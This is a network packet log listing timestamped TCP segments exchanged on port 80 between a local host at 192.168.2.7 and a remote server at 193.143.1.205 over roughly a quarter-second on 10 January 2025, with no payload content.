Jan 10, 2025 19:43:51.372035980 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.372059107 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.372071981 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.372107983 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.372116089 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.372144938 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.372179985 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.372186899 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.372215986 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.372258902 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.372805119 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.372870922 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.372906923 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.372942924 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.372952938 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.372977972 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.372984886 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.373014927 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.373049974 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.373056889 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.373686075 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.373727083 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.373733044 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.373763084 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.373797894 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.373833895 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.373842001 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.373868942 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.373876095 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.373907089 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.373954058 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.374608994 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.374644995 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.374681950 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.374706984 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.374716043 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.374751091 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.374785900 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.374797106 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.374823093 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.374829054 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.375413895 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.375473022 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.375520945 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.375555992 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.375591993 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.375626087 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.375652075 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.375662088 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.375690937 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.375698090 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.375744104 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.376355886 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.376391888 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.376426935 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.376461983 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.376477003 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.376497030 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.376507998 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.376530886 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.376568079 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.376574039 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.377226114 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.377260923 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.377291918 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.377300024 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.377336025 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.377374887 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.377384901 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.377438068 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.380492926 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.380528927 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.380563974 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.380606890 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.380613089 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.380654097 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.380688906 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.380701065 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.380734921 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.381166935 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.385257959 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.398334026 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.398379087 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.398417950 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.398454905 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.398454905 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.398499012 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.398504019 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.398540020 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.398577929 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.398585081 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.398613930 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.398647070 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.398667097 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.398688078 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.398720980 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.398732901 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.398757935 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.398789883 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.398835897 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.428971052 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.428987980 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.428999901 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.429028988 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.429076910 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.460346937 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.460367918 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.460380077 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.460392952 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.460406065 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.460462093 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.460505009 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.460516930 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.460530996 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.460542917 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.460556984 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.460588932 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.460613966 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.460654020 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.460655928 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.460669041 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.460680962 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.460704088 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.460870028 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.460880995 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.460894108 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.460906029 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.460916996 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.460916996 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.460930109 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.460941076 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.460942984 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.460952997 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.460958004 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.460978985 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.491204977 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.491239071 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.491252899 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.491266012 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.491280079 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.491293907 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.491307020 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.491308928 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.491348028 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.491364956 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.491395950 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.491406918 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.491419077 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.491440058 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.491470098 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.491485119 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.491507053 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.491569996 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.491584063 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.491596937 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.491609097 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.491635084 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.491688967 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.491755009 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.491799116 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.491803885 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.491816998 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.491832018 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.491856098 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.491873026 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.491893053 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.491905928 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.491919994 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.491934061 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.491947889 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.491980076 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.492031097 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.492043018 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.492075920 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.492088079 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.492175102 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.492187023 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.492199898 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.492211103 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.492223024 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.492224932 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.492234945 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.492249012 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.492254019 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.492269993 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.492285967 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.492502928 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.492517948 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.492532015 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.492544889 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.492558002 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.492561102 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.492571115 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.492583990 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.492592096 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.492602110 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.492609978 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.492615938 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.492629051 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.492644072 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.492652893 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.492659092 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.492687941 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.492700100 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.492942095 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.493066072 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.493081093 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.493103981 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.493115902 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.493128061 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.493140936 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.493154049 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.493165970 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.493179083 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.493189096 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.493192911 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.493228912 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.497365952 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.497380018 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.497391939 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.497462034 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.497462034 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.497562885 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.497582912 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.497596025 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.497606993 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.497620106 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.497631073 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.497632027 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.497637987 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.497642994 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.497649908 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.497653961 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.497654915 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.497662067 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.497674942 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.497689009 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.497704983 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.497714996 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.497751951 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.498011112 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.498198032 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.498218060 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.498230934 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.498243093 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.498255968 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.498267889 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.498280048 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.498291969 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.498302937 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.498313904 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.498327017 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.498338938 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.498352051 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.498364925 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.498379946 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.498393059 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.498405933 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.498413086 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.498450994 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.498836040 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.498852968 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.498869896 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.498883009 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.498894930 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.498900890 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.498925924 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.537148952 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.540707111 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.550450087 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.550584078 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.550599098 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.550611973 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.550621986 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.550633907 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.550645113 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.550657034 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.550668955 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.550669909 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.550682068 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.550693989 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.550704956 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.550708055 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.550718069 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.550731897 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.550745964 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.550750971 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.550757885 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.550769091 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.550770044 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.550781965 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.550796032 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.550810099 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.550811052 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.550837040 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.550849915 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.580720901 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.581178904 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.581206083 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.581263065 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.581377983 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.581387997 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.581399918 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.581432104 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.581523895 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.581538916 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.581552982 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.581564903 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.581577063 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.581581116 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.581585884 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.581592083 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.581604004 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.581604958 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.581617117 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.581631899 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.581634045 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.581643105 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.581655025 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.581665039 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.581665993 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.581674099 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.581676006 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.581696033 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.581707954 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.581717968 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.581722975 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.581728935 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.581738949 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.581742048 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.581758022 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.581762075 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.581769943 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.581780910 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.581789970 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.581793070 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.581804991 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:43:51.581809044 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.581844091 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:43:51.582057953 CET	80	49700	193.143.1.205	192.168.2.7
